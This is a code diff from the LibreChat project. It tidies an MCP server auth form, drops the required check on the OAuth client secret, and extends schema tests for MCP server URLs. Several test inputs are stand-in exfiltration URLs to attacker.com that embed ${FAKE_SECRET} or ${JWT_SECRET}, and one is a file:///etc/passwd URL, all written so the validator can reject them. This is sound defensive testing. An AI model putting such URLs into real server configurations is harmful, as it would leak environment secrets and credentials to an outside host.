diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx
index 6d18ccf15b01..fd20139ab48e 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx
@@ -1,11 +1,11 @@
-import { useMemo, useState } from 'react';
+import { Checkbox, Input, Label, Radio, SecretInput, useToastContext } from '@librechat/client';
import { Copy, CopyCheck } from 'lucide-react';
+import { useMemo, useState } from 'react';
import { useFormContext, useWatch } from 'react-hook-form';
-import { Label, Input, Checkbox, SecretInput, Radio, useToastContext } from '@librechat/client';
-import { AuthTypeEnum, AuthorizationTypeEnum } from '../hooks/useMCPServerForm';
-import type { MCPServerFormData } from '../hooks/useMCPServerForm';
-import { useLocalize, useCopyToClipboard } from '~/hooks';
+import { useCopyToClipboard, useLocalize } from '~/hooks';
import { cn } from '~/utils';
+import type { MCPServerFormData } from '../hooks/useMCPServerForm';
+import { AuthorizationTypeEnum, AuthTypeEnum } from '../hooks/useMCPServerForm';
interface AuthSectionProps {
isEditMode: boolean;
@@ -183,35 +183,15 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
- {errors.auth?.oauth_client_secret && (
-
- {localize('com_ui_field_required')}
-
- )}
@@ -265,7 +245,9 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
type="button"
onClick={() => {
if (isCopying) return;
- showToast({ message: localize('com_ui_copied_to_clipboard') });
+ showToast({
+ message: localize('com_ui_copied_to_clipboard'),
+ });
copyLink(setIsCopying);
}}
className="flex size-10 shrink-0 items-center justify-center rounded-lg border border-border-light text-text-secondary transition-colors hover:bg-surface-hover hover:text-text-primary"
diff --git a/packages/data-provider/specs/mcp.spec.ts b/packages/data-provider/specs/mcp.spec.ts
index 573769c4fad9..e28c322c872f 100644
--- a/packages/data-provider/specs/mcp.spec.ts
+++ b/packages/data-provider/specs/mcp.spec.ts
@@ -1,147 +1,193 @@
-import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
-
-describe('MCPServerUserInputSchema', () => {
- describe('env variable exfiltration prevention', () => {
- it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
- process.env.FAKE_SECRET = 'leaked-secret-value';
- const adminResult = SSEOptionsSchema.safeParse({
- type: 'sse',
- url: 'http://attacker.com/?secret=${FAKE_SECRET}',
- });
- expect(adminResult.success).toBe(true);
- if (adminResult.success) {
- expect(adminResult.data.url).toContain('leaked-secret-value');
- }
- delete process.env.FAKE_SECRET;
- });
-
- it('should reject the same URL through user input schema', () => {
- process.env.FAKE_SECRET = 'leaked-secret-value';
- const userResult = MCPServerUserInputSchema.safeParse({
- type: 'sse',
- url: 'http://attacker.com/?secret=${FAKE_SECRET}',
- });
- expect(userResult.success).toBe(false);
- delete process.env.FAKE_SECRET;
- });
- });
-
- describe('env variable rejection', () => {
- it('should reject SSE URLs containing env variable patterns', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'sse',
- url: 'http://attacker.com/?secret=${FAKE_SECRET}',
- });
- expect(result.success).toBe(false);
- });
-
- it('should reject streamable-http URLs containing env variable patterns', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'streamable-http',
- url: 'http://attacker.com/?jwt=${JWT_SECRET}',
- });
- expect(result.success).toBe(false);
- });
-
- it('should reject WebSocket URLs containing env variable patterns', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'websocket',
- url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
- });
- expect(result.success).toBe(false);
- });
- });
-
- describe('protocol allowlisting', () => {
- it('should reject file:// URLs for SSE', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'sse',
- url: 'file:///etc/passwd',
- });
- expect(result.success).toBe(false);
- });
-
- it('should reject ftp:// URLs for streamable-http', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'streamable-http',
- url: 'ftp://internal-server/data',
- });
- expect(result.success).toBe(false);
- });
-
- it('should reject http:// URLs for WebSocket', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'websocket',
- url: 'http://example.com/ws',
- });
- expect(result.success).toBe(false);
- });
-
- it('should reject ws:// URLs for SSE', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'sse',
- url: 'ws://example.com/sse',
- });
- expect(result.success).toBe(false);
- });
- });
-
- describe('valid URL acceptance', () => {
- it('should accept valid https:// SSE URLs', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'sse',
- url: 'https://mcp-server.com/sse',
- });
- expect(result.success).toBe(true);
- if (result.success) {
- expect(result.data.url).toBe('https://mcp-server.com/sse');
- }
- });
-
- it('should accept valid http:// SSE URLs', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'sse',
- url: 'http://mcp-server.com/sse',
- });
- expect(result.success).toBe(true);
- });
-
- it('should accept valid wss:// WebSocket URLs', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'websocket',
- url: 'wss://mcp-server.com/ws',
- });
- expect(result.success).toBe(true);
- if (result.success) {
- expect(result.data.url).toBe('wss://mcp-server.com/ws');
- }
- });
-
- it('should accept valid ws:// WebSocket URLs', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'websocket',
- url: 'ws://mcp-server.com/ws',
- });
- expect(result.success).toBe(true);
- });
-
- it('should accept valid https:// streamable-http URLs', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'streamable-http',
- url: 'https://mcp-server.com/http',
- });
- expect(result.success).toBe(true);
- if (result.success) {
- expect(result.data.url).toBe('https://mcp-server.com/http');
- }
- });
-
- it('should accept valid http:// streamable-http URLs with "http" alias', () => {
- const result = MCPServerUserInputSchema.safeParse({
- type: 'http',
- url: 'http://mcp-server.com/mcp',
- });
- expect(result.success).toBe(true);
- });
- });
+import { MCPServerUserInputSchema, SSEOptionsSchema } from "../src/mcp";
+
+describe("MCPServerUserInputSchema", () => {
+ describe("env variable exfiltration prevention", () => {
+ it("should confirm admin schema resolves env vars (attack vector baseline)", () => {
+ process.env.FAKE_SECRET = "leaked-secret-value";
+ const adminResult = SSEOptionsSchema.safeParse({
+ type: "sse",
+ url: "http://attacker.com/?secret=${FAKE_SECRET}",
+ });
+ expect(adminResult.success).toBe(true);
+ if (adminResult.success) {
+ expect(adminResult.data.url).toContain("leaked-secret-value");
+ }
+ delete process.env.FAKE_SECRET;
+ });
+
+ it("should reject the same URL through user input schema", () => {
+ process.env.FAKE_SECRET = "leaked-secret-value";
+ const userResult = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "http://attacker.com/?secret=${FAKE_SECRET}",
+ });
+ expect(userResult.success).toBe(false);
+ delete process.env.FAKE_SECRET;
+ });
+ });
+
+ describe("env variable rejection", () => {
+ it("should reject SSE URLs containing env variable patterns", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "http://attacker.com/?secret=${FAKE_SECRET}",
+ });
+ expect(result.success).toBe(false);
+ });
+
+ it("should reject streamable-http URLs containing env variable patterns", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "streamable-http",
+ url: "http://attacker.com/?jwt=${JWT_SECRET}",
+ });
+ expect(result.success).toBe(false);
+ });
+
+ it("should reject WebSocket URLs containing env variable patterns", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "websocket",
+ url: "ws://attacker.com/?secret=${FAKE_SECRET}",
+ });
+ expect(result.success).toBe(false);
+ });
+ });
+
+ describe("protocol allowlisting", () => {
+ it("should reject file:// URLs for SSE", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "file:///etc/passwd",
+ });
+ expect(result.success).toBe(false);
+ });
+
+ it("should reject ftp:// URLs for streamable-http", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "streamable-http",
+ url: "ftp://internal-server/data",
+ });
+ expect(result.success).toBe(false);
+ });
+
+ it("should reject http:// URLs for WebSocket", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "websocket",
+ url: "http://example.com/ws",
+ });
+ expect(result.success).toBe(false);
+ });
+
+ it("should reject ws:// URLs for SSE", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "ws://example.com/sse",
+ });
+ expect(result.success).toBe(false);
+ });
+ });
+
+ describe("valid URL acceptance", () => {
+ it("should accept valid https:// SSE URLs", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "https://mcp-server.com/sse",
+ });
+ expect(result.success).toBe(true);
+ if (result.success) {
+ expect(result.data.url).toBe("https://mcp-server.com/sse");
+ }
+ });
+
+ it("should accept valid http:// SSE URLs", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "http://mcp-server.com/sse",
+ });
+ expect(result.success).toBe(true);
+ });
+
+ it("should accept valid wss:// WebSocket URLs", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "websocket",
+ url: "wss://mcp-server.com/ws",
+ });
+ expect(result.success).toBe(true);
+ if (result.success) {
+ expect(result.data.url).toBe("wss://mcp-server.com/ws");
+ }
+ });
+
+ it("should accept valid ws:// WebSocket URLs", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "websocket",
+ url: "ws://mcp-server.com/ws",
+ });
+ expect(result.success).toBe(true);
+ });
+
+ it("should accept valid https:// streamable-http URLs", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "streamable-http",
+ url: "https://mcp-server.com/http",
+ });
+ expect(result.success).toBe(true);
+ if (result.success) {
+ expect(result.data.url).toBe("https://mcp-server.com/http");
+ }
+ });
+
+ it('should accept valid http:// streamable-http URLs with "http" alias', () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "http",
+ url: "http://mcp-server.com/mcp",
+ });
+ expect(result.success).toBe(true);
+ });
+ });
+
+ describe("oauth client_secret optional (PKCE support)", () => {
+ it("should accept OAuth config without client_secret", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "https://mcp-server.com/sse",
+ oauth: {
+ client_id: "my-public-client",
+ authorization_url: "https://auth.example.com/authorize",
+ token_url: "https://auth.example.com/token",
+ scope: "read",
+ },
+ });
+ expect(result.success).toBe(true);
+ if (result.success) {
+ expect(result.data.oauth?.client_secret).toBeUndefined();
+ }
+ });
+
+ it("should accept OAuth config with client_secret", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "streamable-http",
+ url: "https://mcp-server.com/http",
+ oauth: {
+ client_id: "my-confidential-client",
+ client_secret: "s3cret",
+ scope: "read write",
+ },
+ });
+ expect(result.success).toBe(true);
+ if (result.success) {
+ expect(result.data.oauth?.client_secret).toBe("s3cret");
+ }
+ });
+
+ it("should accept OAuth config with only client_id (public client)", () => {
+ const result = MCPServerUserInputSchema.safeParse({
+ type: "sse",
+ url: "https://mcp-server.com/sse",
+ oauth: {
+ client_id: "public-app",
+ },
+ });
+ expect(result.success).toBe(true);
+ });
+ });
});